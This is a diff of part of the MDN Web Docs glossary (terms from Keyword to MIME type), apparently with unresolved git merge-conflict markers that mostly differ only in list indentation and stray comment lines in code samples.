+    -   _Glossary("Decryption"_)
+    -   _Glossary("Encryption"_)
+    -   _Glossary("Key"_)
+    -   _Glossary("Plaintext"_)
+    -   _Glossary("Public-key cryptography"_)
+    -   _Glossary("Symmetric-key cryptography"_)
+>>>>>>> master
 
 ---
 
 ## Term: Keyword
 
+<<<<<<< HEAD
 - Glossary
 - Keyword
 - Search
 - keyword search
+=======
+-   Glossary
+-   Keyword
+-   Search
+-   keyword search
+>>>>>>> master
 
 ---
 
@@ -7325,14 +11076,23 @@ When you use a search engine, you use keywords to specify what you are looking f
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Keyword_research", "Keyword"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Keyword_research", "Keyword"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: The Khronos Group
 
+<<<<<<< HEAD
 - Glossary
 - Khronos
+=======
+-   Glossary
+-   Khronos
+>>>>>>> master
 
 ---
 
@@ -7342,13 +11102,19 @@ The organization maintains standards such as _Glossary("OpenGL"_) and the _domxr
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Khronos_Group", "The Khronos Group"_) on Wikipedia
 - [The Khronos Group web site](https://www.khronos.org/)
+=======
+-   _interwiki("wikipedia", "Khronos_Group", "The Khronos Group"_) on Wikipedia
+-   [The Khronos Group web site](https://www.khronos.org/)
+>>>>>>> master
 
 ---
 
 ## Term: Latency
 
+<<<<<<< HEAD
 - Audio
 - Glossary
 - Media
@@ -7357,6 +11123,16 @@ The organization maintains standards such as _Glossary("OpenGL"_) and the _domxr
 - Video
 - Web Performance
 - latency
+=======
+-   Audio
+-   Glossary
+-   Media
+-   Networking
+-   Reference
+-   Video
+-   Web Performance
+-   latency
+>>>>>>> master
 
 ---
 
@@ -7366,17 +11142,29 @@ Latency can be a factor in any kind of data flow, but is most commonly discussed
 
 #### See also
 
+<<<<<<< HEAD
 - [Understanding Latency](/en-US/docs/Web/Performance/Understanding_latency)
+=======
+-   [Understanding Latency](/en-US/docs/Web/Performance/Understanding_latency)
+>>>>>>> master
 
 ---
 
 ## Term: Layout viewport
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Layout
 - layout viewport
 - viewport
+=======
+-   CodingScripting
+-   Glossary
+-   Layout
+-   layout viewport
+-   viewport
+>>>>>>> master
 
 ---
 
@@ -7386,20 +11174,35 @@ This becomes important, for example, on mobile devices, where a pinching gesture
 
 #### See also
 
+<<<<<<< HEAD
 - [Visual Viewport API](/en-US/docs/Web/API/Visual_Viewport_API)
 - _Interwiki("wikipedia", "Viewport"_) on Wikipedia
 - [A tale of two viewports](https://www.quirksmode.org/mobile/viewports.html) (Quirksmode)
 - _Glossary("Viewport"_) in the MDN Glossary
 - _Glossary("Visual viewport"_) in the MDN Glossary
+=======
+-   [Visual Viewport API](/en-US/docs/Web/API/Visual_Viewport_API)
+-   _Interwiki("wikipedia", "Viewport"_) on Wikipedia
+-   [A tale of two viewports](https://www.quirksmode.org/mobile/viewports.html) (Quirksmode)
+-   _Glossary("Viewport"_) in the MDN Glossary
+-   _Glossary("Visual viewport"_) in the MDN Glossary
+>>>>>>> master
 
 ---
 
 ## Term: Lazy load
 
+<<<<<<< HEAD
 - Glossary
 - Lazy loading
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Lazy loading
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -7409,17 +11212,29 @@ If correctly implemented, this delay in asset loading is seamless to the user ex
 
 #### See also
 
+<<<<<<< HEAD
 - [Lazy loading](/en-US/docs/Web/Performance/Lazy_loading)
+=======
+-   [Lazy loading](/en-US/docs/Web/Performance/Lazy_loading)
+>>>>>>> master
 
 ---
 
 ## Term: LGPL
 
+<<<<<<< HEAD
 - Glossary
 - License
 - OpenPractices
 - Remixing
 - Sharing
+=======
+-   Glossary
+-   License
+-   OpenPractices
+-   Remixing
+-   Sharing
+>>>>>>> master
 
 ---
 
@@ -7427,16 +11242,27 @@ If correctly implemented, this delay in asset loading is seamless to the user ex
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "GNU Lesser General Public License", "GNU LGPL"_) on Wikipedia
 - [LGPL License](https://www.gnu.org/copyleft/lesser.html) text on gnu.org
+=======
+-   _interwiki("wikipedia", "GNU Lesser General Public License", "GNU LGPL"_) on Wikipedia
+-   [LGPL License](https://www.gnu.org/copyleft/lesser.html) text on gnu.org
+>>>>>>> master
 
 ---
 
 ## Term: Ligature
 
+<<<<<<< HEAD
 - CSS
 - Design
 - Glossary
+=======
+-   CSS
+-   Design
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -7446,20 +11272,31 @@ You can implement ligatures in your webpage with _cssxref("font-variant-ligature
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Typographic ligature", "Ligature"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Typographic ligature", "Ligature"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Literal
 
+<<<<<<< HEAD
 - Literal
 - JavaScript
 - Glossary
+=======
+-   Literal
+-   JavaScript
+-   Glossary
+>>>>>>> master
 
 ---
 
 > **Literals** represent values in JavaScript. These are fixed values—not variables—that you _literally_ provide in your script.
 
+<<<<<<< HEAD
 - [Array literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#array_literals)
 - [Boolean literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#boolean_literals)
 - [Floating-point literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#floating-point_literals)
@@ -7467,6 +11304,15 @@ You can implement ligatures in your webpage with _cssxref("font-variant-ligature
 - [Object literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#object_literals)
 - [RegExp literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#regexp_literals)
 - [String literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#string_literals)
+=======
+-   [Array literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#array_literals)
+-   [Boolean literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#boolean_literals)
+-   [Floating-point literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#floating-point_literals)
+-   [Numeric literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#numeric_literals)
+-   [Object literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#object_literals)
+-   [RegExp literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#regexp_literals)
+-   [String literals](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#string_literals)
+>>>>>>> master
 
 ## Examples
 
@@ -7477,6 +11323,10 @@ A string literal is zero or more characters enclosed in double (`"`) or single q
 The following are examples of string literals:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 'foo';
 'bar';
 '1234';
@@ -7491,6 +11341,10 @@ An object literal is a list of zero or more pairs of property names and associat
 The following is an example of an object literal. The first element of the `car` object defines a property, `myCar`, and assigns to it a new string, "`Toyota`"; the second element, the `getCar` property, is immediately assigned the result of invoking the function `carTypes('Honda')`; the third element, the `special` property, uses an existing variable (`sales`).
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var sales = 'BMW';
 
 function carTypes(name) {
@@ -7510,15 +11364,25 @@ console.log(car.special); // BMW
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Literal (computer programming)", "Literal"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Literal (computer programming)", "Literal"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Local scope
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - NeedsContent
+=======
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -7526,15 +11390,25 @@ console.log(car.special); // BMW
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Scope (computer science)", "Scope"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Scope (computer science)", "Scope"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Local variable
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - NeedsContent
+=======
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -7543,6 +11417,10 @@ console.log(car.special); // BMW
 ## Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var global = 5; //is a global variable
 
 function fun() {
@@ -7552,15 +11430,25 @@ function fun() {
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Local variable", "Local variable"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Local variable", "Local variable"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Locale
 
+<<<<<<< HEAD
 - Composing
 - Glossary
 - Locale
+=======
+-   Composing
+-   Glossary
+-   Locale
+>>>>>>> master
 
 ---
 
@@ -7570,17 +11458,29 @@ A program draws its locale settings from the language of the host system. Among
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Locale", "Locale"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Locale", "Locale"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Localization
 
+<<<<<<< HEAD
 - Collaborating
 - Glossary
 - Intro
 - Localization
 - WebMechanics
+=======
+-   Collaborating
+-   Glossary
+-   Intro
+-   Localization
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -7588,6 +11488,7 @@ A program draws its locale settings from the language of the host system. Among
 
 The following are common factors to consider:
 
+<<<<<<< HEAD
 - language
 - unit of measure (e.g., kilometers in Europe, miles in U.S.)
 - text direction (e.g., European languages are left-to-right, Arabic right-to-left)
@@ -7607,15 +11508,43 @@ The following are common factors to consider:
 #### See also
 
 - _interwiki("wikipedia", "Language localisation", "Localization"_) on Wikipedia
+=======
+-   language
+-   unit of measure (e.g., kilometers in Europe, miles in U.S.)
+-   text direction (e.g., European languages are left-to-right, Arabic right-to-left)
+-   capitalization in Latin script (e.g., English uses capitals for weekdays, Spanish uses lowercase)
+-   adaptation of idioms (e.g., "raining cats and dogs" makes no sense when translated literally)
+-   use of register (e.g., in Japanese respectful speech differs exceptionally from casual speech)
+-   number format (e.g., 10 000,00 in Germany vs. 10,000.00 in the U.S.)
+-   date format
+-   currency
+-   cultural references
+-   paper size
+-   color psychology
+-   compliance with local laws
+-   local holidays
+-   personal names
+
+#### See also
+
+-   _interwiki("wikipedia", "Language localisation", "Localization"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Long task
 
+<<<<<<< HEAD
 - Glossary
 - Long Tasks API
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Long Tasks API
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -7625,16 +11554,27 @@ It is an uninterrupted period where the [main UI thread](/en-US/docs/Glossary/Ma
 
 #### See also
 
+<<<<<<< HEAD
 - [Long task API](/en-US/docs/Web/API/Long_Tasks_API)
+=======
+-   [Long task API](/en-US/docs/Web/API/Long_Tasks_API)
+>>>>>>> master
 
 ---
 
 ## Term: Loop
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - control flow
 - programming
+=======
+-   CodingScripting
+-   Glossary
+-   control flow
+-   programming
+>>>>>>> master
 
 ---
 
@@ -7650,13 +11590,23 @@ It is an uninterrupted period where the [main UI thread](/en-US/docs/Glossary/Ma
      execute code block
     }
 
+<<<<<<< HEAD
 - Statement 1 is executed once before the code block is run.
 - Statement 2 defines the condition needed to execute the code block.
 - Statement 3 is executed every time the code block is run.
+=======
+-   Statement 1 is executed once before the code block is run.
+-   Statement 2 defines the condition needed to execute the code block.
+-   Statement 3 is executed every time the code block is run.
+>>>>>>> master
 
 #### Example:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 for (var i = 0; i < 10; i++) {
     console.log(i);
 }
@@ -7665,9 +11615,15 @@ for (var i = 0; i < 10; i++) {
 
 For the above example, the syntax is as follows:
 
+<<<<<<< HEAD
 - Statement 1 sets the variable for the loop (var i = 0).
 - Statement 2 sets the loop condition (i < 10).
 - Statement 3 increases the value of i (i++) each time the code block is run.
+=======
+-   Statement 1 sets the variable for the loop (var i = 0).
+-   Statement 2 sets the loop condition (i < 10).
+-   Statement 3 increases the value of i (i++) each time the code block is run.
+>>>>>>> master
 
 ### While loop
 
@@ -7677,11 +11633,19 @@ For the above example, the syntax is as follows:
      execute code block
     }
 
+<<<<<<< HEAD
 - The code block will continue to loop as long as the condition is true.
+=======
+-   The code block will continue to loop as long as the condition is true.
+>>>>>>> master
 
 #### Example:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var i = 0;
 while (i < 5) {
     console.log(i);
@@ -7692,6 +11656,7 @@ while (i < 5) {
 
 For the above example, the syntax is as follows:
 
+<<<<<<< HEAD
 - The code block will continue to run as long as the variable (i) is less than 5.
 
 #### See also
@@ -7700,11 +11665,22 @@ For the above example, the syntax is as follows:
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Loop"_)
+=======
+-   The code block will continue to run as long as the variable (i) is less than 5.
+
+#### See also
+
+-   _interwiki("wikipedia", "Control_flow#Loops","Control flow"_) on Wikipedia
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Loop"_)
+>>>>>>> master
 
 ---
 
 ## Term: Lossless compression
 
+<<<<<<< HEAD
 - Beginner
 - Composing
 - Glossary
@@ -7712,6 +11688,15 @@ For the above example, the syntax is as follows:
 - Web Performance
 - compression
 - lossless
+=======
+-   Beginner
+-   Composing
+-   Glossary
+-   Images
+-   Web Performance
+-   compression
+-   lossless
+>>>>>>> master
 
 ---
 
@@ -7721,17 +11706,27 @@ _glossary("Lossy compression"_), on the other hand, uses inexact approximations
 
 #### See also
 
+<<<<<<< HEAD
 - [Glossary](/en-US/docs/Glossary)
 
     - _glossary("GZIP"_)
     - _glossary("Brotli"_)
     - _glossary("PNG"_)
     - _glossary("Lossy compression"_)
+=======
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _glossary("GZIP"_)
+    -   _glossary("Brotli"_)
+    -   _glossary("PNG"_)
+    -   _glossary("Lossy compression"_)
+>>>>>>> master
 
 ---
 
 ## Term: lossy compression
 
+<<<<<<< HEAD
 - Beginner
 - Composing
 - Glossary
@@ -7740,6 +11735,16 @@ _glossary("Lossy compression"_), on the other hand, uses inexact approximations
 - Lossy
 - Web Performance
 - compression
+=======
+-   Beginner
+-   Composing
+-   Glossary
+-   Images
+-   JPEG
+-   Lossy
+-   Web Performance
+-   compression
+>>>>>>> master
 
 ---
 
@@ -7753,15 +11758,25 @@ Although there is no obvious difference quality between the two images above, th
 
 #### See also
 
+<<<<<<< HEAD
 - [Lossless compression](/en-US/docs/Glossary/Lossless_compression)
+=======
+-   [Lossless compression](/en-US/docs/Glossary/Lossless_compression)
+>>>>>>> master
 
 ---
 
 ## Term: LTR (Left To Right)
 
+<<<<<<< HEAD
 - Composing
 - Glossary
 - Localization
+=======
+-   Composing
+-   Glossary
+-   Localization
+>>>>>>> master
 
 ---
 
@@ -7773,6 +11788,7 @@ The opposite of LTR, _Glossary("RTL"_) (Right To Left) is used in other common l
 
 ## Technical reference
 
+<<<<<<< HEAD
 - [Localization and internationalization](/en-US/docs/Web/Localization)
 
 #### See also
@@ -7794,24 +11810,61 @@ The opposite of LTR, _Glossary("RTL"_) (Right To Left) is used in other common l
     - _cssxref("direction"_)
     - _cssxref("unicode-bidi"_)
     - _cssxref("writing-mode"_)
+=======
+-   [Localization and internationalization](/en-US/docs/Web/Localization)
+
+#### See also
+
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("locale"_)
+    -   _Glossary("LTR"_)
+    -   _Glossary("RTL"_)
+
+-   [HTML global attributes](/en-US/docs/Web/HTML/Global_attributes)
+
+    -   _htmlattrxref("dir"_)
+    -   _htmlattrxref("lang"_)
+
+-   [CSS](/en-US/docs/Web/CSS)
+
+    -   _cssxref(":dir"_)
+    -   _cssxref("direction"_)
+    -   _cssxref("unicode-bidi"_)
+    -   _cssxref("writing-mode"_)
+>>>>>>> master
 
 ---
 
 ## Term: Main Axis
 
+<<<<<<< HEAD
 - CSS
 - Glossary
 - Main axis
 - flexbox
+=======
+-   CSS
+-   Glossary
+-   Main axis
+-   flexbox
+>>>>>>> master
 
 ---
 
 > The main axis in _glossary("flexbox"_) is defined by the direction set by the _cssxref("flex-direction"_) property. There are four possible values for `flex-direction`. These are:
 
+<<<<<<< HEAD
 - `row`
 - `row-reverse`
 - `column`
 - `column-reverse`
+=======
+-   `row`
+-   `row-reverse`
+-   `column`
+-   `column-reverse`
+>>>>>>> master
 
 Should you choose `row` or `row-reverse` then your main axis will run along the row in the inline direction.
 
@@ -7827,6 +11880,7 @@ On the main axis you can control the sizing of flex items by adding any availabl
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("flex-basis"_)
 - _cssxref("flex-direction"_)
 - _cssxref("flex-grow"_)
@@ -7839,14 +11893,34 @@ On the main axis you can control the sizing of flex items by adding any availabl
 - CSS Flexbox Guide: _[Basic Concepts of Flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox)_
 - CSS Flexbox Guide: _[Aligning items in a flex container](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container)_
 - CSS Flexbox Guide: _[Controlling Ratios of flex items along the main axis](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax)_
+=======
+-   _cssxref("flex-basis"_)
+-   _cssxref("flex-direction"_)
+-   _cssxref("flex-grow"_)
+-   _cssxref("flex-shrink"_)
+-   _cssxref("justify-content"_)
+-   _cssxref("flex"_)
+
+### Further reading
+
+-   CSS Flexbox Guide: _[Basic Concepts of Flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox)_
+-   CSS Flexbox Guide: _[Aligning items in a flex container](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container)_
+-   CSS Flexbox Guide: _[Controlling Ratios of flex items along the main axis](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax)_
+>>>>>>> master
 
 ---
 
 ## Term: Main thread
 
+<<<<<<< HEAD
 - Glossary
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -7856,21 +11930,37 @@ Unless intentionally using a [web worker](/en-US/docs/Web/API/Web_Workers_API/Us
 
 #### See also
 
+<<<<<<< HEAD
 - [Asynchronous JavaScript](/en-US/docs/Learn/JavaScript/Asynchronous)
 - [Web worker API](/en-US/docs/Web/API/Web_Workers_API)
 - [Service worker API](/en-US/docs/Web/API/Service_Worker_API)
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Thread"_)
+=======
+-   [Asynchronous JavaScript](/en-US/docs/Learn/JavaScript/Asynchronous)
+-   [Web worker API](/en-US/docs/Web/API/Web_Workers_API)
+-   [Service worker API](/en-US/docs/Web/API/Service_Worker_API)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Thread"_)
+>>>>>>> master
 
 ---
 
 ## Term: markup
 
+<<<<<<< HEAD
 - Glossary
 - Intro
 - Markup
 - NeedsContent
+=======
+-   Glossary
+-   Intro
+-   Markup
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -7878,6 +11968,7 @@ Unless intentionally using a [web worker](/en-US/docs/Web/API/Web_Workers_API/Us
 
 ## Types of markup language
 
+<<<<<<< HEAD
 - **Presentational Markup:**
 - - : Used by traditional word processing system with WYSIWYG (what you see it is what you get); this is hidden from human authors, users and editors.
 - **Procedural Markup:**
@@ -7893,16 +11984,41 @@ Unless intentionally using a [web worker](/en-US/docs/Web/API/Web_Workers_API/Us
     - _Glossary("XHTML"_)
     - _Glossary("XML"_)
     - _Glossary("SVG"_)
+=======
+-   **Presentational Markup:**
+-   -   : Used by traditional word processing system with WYSIWYG (what you see it is what you get); this is hidden from human authors, users and editors.
+-   **Procedural Markup:**
+    -   : Combined with text to provide instructions on text processing to programs. This text is visibly manipulated by the author.
+-   **Descriptive Markup:**
+    -   : Labels sections of documents as to how the program should handle them. For example, the HTML _HTMLElement("td"_) defines a cell in a HTML table.
+
+#### See also
+
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("HTML"_)
+    -   _Glossary("XHTML"_)
+    -   _Glossary("XML"_)
+    -   _Glossary("SVG"_)
+>>>>>>> master
 
 ---
 
 ## Term: MathML
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - MathML
 - Mathematical Markup Language
 - XML
+=======
+-   CodingScripting
+-   Glossary
+-   MathML
+-   Mathematical Markup Language
+-   XML
+>>>>>>> master
 
 ---
 
@@ -7910,17 +12026,29 @@ Unless intentionally using a [web worker](/en-US/docs/Web/API/Web_Workers_API/Us
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "MathML", "MathML"_) on Wikipedia
 - [MathML](/en-US/docs/Web/MathML)
 - [Authoring MathML](/en-US/docs/Web/MathML/Authoring)
 - _spec("http://www.w3.org/Math/whatIsMathML.html", "MathML", "REC"_)
+=======
+-   _interwiki("wikipedia", "MathML", "MathML"_) on Wikipedia
+-   [MathML](/en-US/docs/Web/MathML)
+-   [Authoring MathML](/en-US/docs/Web/MathML/Authoring)
+-   _spec("http://www.w3.org/Math/whatIsMathML.html", "MathML", "REC"_)
+>>>>>>> master
 
 ---
 
 ## Term: Media
 
+<<<<<<< HEAD
 - Disambiguation
 - Glossary
+=======
+-   Disambiguation
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -7930,16 +12058,27 @@ Unless intentionally using a [web worker](/en-US/docs/Web/API/Web_Workers_API/Us
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Media"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Media"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Metadata
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - HTML
 - metadata
+=======
+-   CodingScripting
+-   Glossary
+-   HTML
+-   metadata
+>>>>>>> master
 
 ---
 
@@ -7947,16 +12086,27 @@ Unless intentionally using a [web worker](/en-US/docs/Web/API/Web_Workers_API/Us
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "metadata", "metadata"_) on Wikipedia
 - The _htmlelement("meta"_) element on MDN
+=======
+-   _interwiki("wikipedia", "metadata", "metadata"_) on Wikipedia
+-   The _htmlelement("meta"_) element on MDN
+>>>>>>> master
 
 ---
 
 ## Term: Method
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -7966,6 +12116,7 @@ Unless intentionally using a [web worker](/en-US/docs/Web/API/Web_Workers_API/Us
 
 #### See also
 
+<<<<<<< HEAD
 - _InterWiki("wikipedia","Method (computer programming)"_) in Wikipedia
 - [Defining a method in JavaScript](/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions) (comparison of the traditional syntax and the new shorthand)
 - [List of JavaScript built-in methods](/en-US/docs/Web/JavaScript/Reference)
@@ -7975,14 +12126,31 @@ Unless intentionally using a [web worker](/en-US/docs/Web/API/Web_Workers_API/Us
     - _Glossary("object"_)
     - _Glossary("property"_)
     - _Glossary("static method"_)
+=======
+-   _InterWiki("wikipedia","Method (computer programming)"_) in Wikipedia
+-   [Defining a method in JavaScript](/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions) (comparison of the traditional syntax and the new shorthand)
+-   [List of JavaScript built-in methods](/en-US/docs/Web/JavaScript/Reference)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("function"_)
+    -   _Glossary("object"_)
+    -   _Glossary("property"_)
+    -   _Glossary("static method"_)
+>>>>>>> master
 
 ---
 
 ## Term: Microsoft Edge
 
+<<<<<<< HEAD
 - Browser
 - Glossary
 - Infrastructure
+=======
+-   Browser
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -7990,6 +12158,7 @@ Unless intentionally using a [web worker](/en-US/docs/Web/API/Web_Workers_API/Us
 
 #### See also
 
+<<<<<<< HEAD
 - [Official website](https://www.microsoft.com/edge)
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
@@ -7999,11 +12168,23 @@ Unless intentionally using a [web worker](/en-US/docs/Web/API/Web_Workers_API/Us
     - _Glossary("Mozilla Firefox"_)
     - _Glossary("Netscape Navigator"_)
     - _Glossary("Opera Browser"_)
+=======
+-   [Official website](https://www.microsoft.com/edge)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Google Chrome"_)
+    -   _Glossary("Microsoft Edge"_)
+    -   _Glossary("Microsoft Internet Explorer"_)
+    -   _Glossary("Mozilla Firefox"_)
+    -   _Glossary("Netscape Navigator"_)
+    -   _Glossary("Opera Browser"_)
+>>>>>>> master
 
 ---
 
 ## Term: Microsoft Internet Explorer
 
+<<<<<<< HEAD
 - Browser
 - Glossary
 - Internet Explorer
@@ -8013,6 +12194,17 @@ Unless intentionally using a [web worker](/en-US/docs/Web/API/Web_Workers_API/Us
 - Web Browser
 - Windows
 - Windows Operating System
+=======
+-   Browser
+-   Glossary
+-   Internet Explorer
+-   Microsoft
+-   Microsoft Internet Explorer
+-   Navigation
+-   Web Browser
+-   Windows
+-   Windows Operating System
+>>>>>>> master
 
 ---
 
@@ -8024,6 +12216,7 @@ IE has gone through many releases and currently stands at version 11.0.12, with
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Internet Explorer", "Internet Explorer"_) on Wikipedia
 - _interwiki("wikipedia", "History of Internet Explorer", "History of Internet Explorer"_) on Wikipedia
 - _interwiki("wikipedia", "Internet Explorer versions", "Internet Explorer versions"_) on Wikipedia
@@ -8034,13 +12227,30 @@ IE has gone through many releases and currently stands at version 11.0.12, with
 - [http://windows.microsoft.com/en-us/internet-explorer/products/ie-8/system-requirements](https://windows.microsoft.com/en-us/internet-explorer/products/ie-8/system-requirements)
 - [http://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements](https://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements)
 - [http://support.microsoft.com/kb/969393](https://support.microsoft.com/kb/969393)
+=======
+-   _interwiki("wikipedia", "Internet Explorer", "Internet Explorer"_) on Wikipedia
+-   _interwiki("wikipedia", "History of Internet Explorer", "History of Internet Explorer"_) on Wikipedia
+-   _interwiki("wikipedia", "Internet Explorer versions", "Internet Explorer versions"_) on Wikipedia
+-   [http://windows.microsoft.com/en-us/internet-explorer/download-ie](https://windows.microsoft.com/en-us/internet-explorer/download-ie)
+-   [http://windows.microsoft.com/en-us/windows7/getting-started-with-internet-explorer-9](https://windows.microsoft.com/en-us/windows7/getting-started-with-internet-explorer-9)
+-   [http://windows.microsoft.com/en-us/internet-explorer/internet-explorer-help](https://windows.microsoft.com/en-us/internet-explorer/internet-explorer-help)
+-   [http://windows.microsoft.com/en-us/internet-explorer/make-ie-default-browser#ie=ie-11](https://windows.microsoft.com/en-us/internet-explorer/make-ie-default-browser#ie=ie-11)
+-   [http://windows.microsoft.com/en-us/internet-explorer/products/ie-8/system-requirements](https://windows.microsoft.com/en-us/internet-explorer/products/ie-8/system-requirements)
+-   [http://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements](https://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements)
+-   [http://support.microsoft.com/kb/969393](https://support.microsoft.com/kb/969393)
+>>>>>>> master
 
 ---
 
 ## Term: Middleware
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -8050,15 +12260,25 @@ In server-side web application frameworks, the term is often more specifically u
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Middleware_(distributed*applications)", "Middleware*(distributed*applications)"*) on Wikipedia
 - _Interwiki("wikipedia", "Middleware", "Middleware"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Middleware_(distributed*applications)", "Middleware*(distributed*applications)"*) on Wikipedia
+-   _Interwiki("wikipedia", "Middleware", "Middleware"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: MIME type
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -8068,21 +12288,37 @@ It serves the same purpose as filename extensions traditionally do on Windows. T
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Internet media type", "Internet media type"_) on Wikipedia
 - [List of MIME types](https://www.iana.org/assignments/media-types/media-types.xhtml)
 - [Properly Configuring Server MIME Types](/en-US/docs/Learn/Server-side/Configuring_server_MIME_types)
 - Details information about the usage of [MIME Types](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) in a Web context.
 - [Incomplete list of MIME types](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types)
 - [MediaRecorder.mimeType](/en-US/docs/Web/API/MediaRecorder/mimeType)
+=======
+-   _interwiki("wikipedia", "Internet media type", "Internet media type"_) on Wikipedia
+-   [List of MIME types](https://www.iana.org/assignments/media-types/media-types.xhtml)
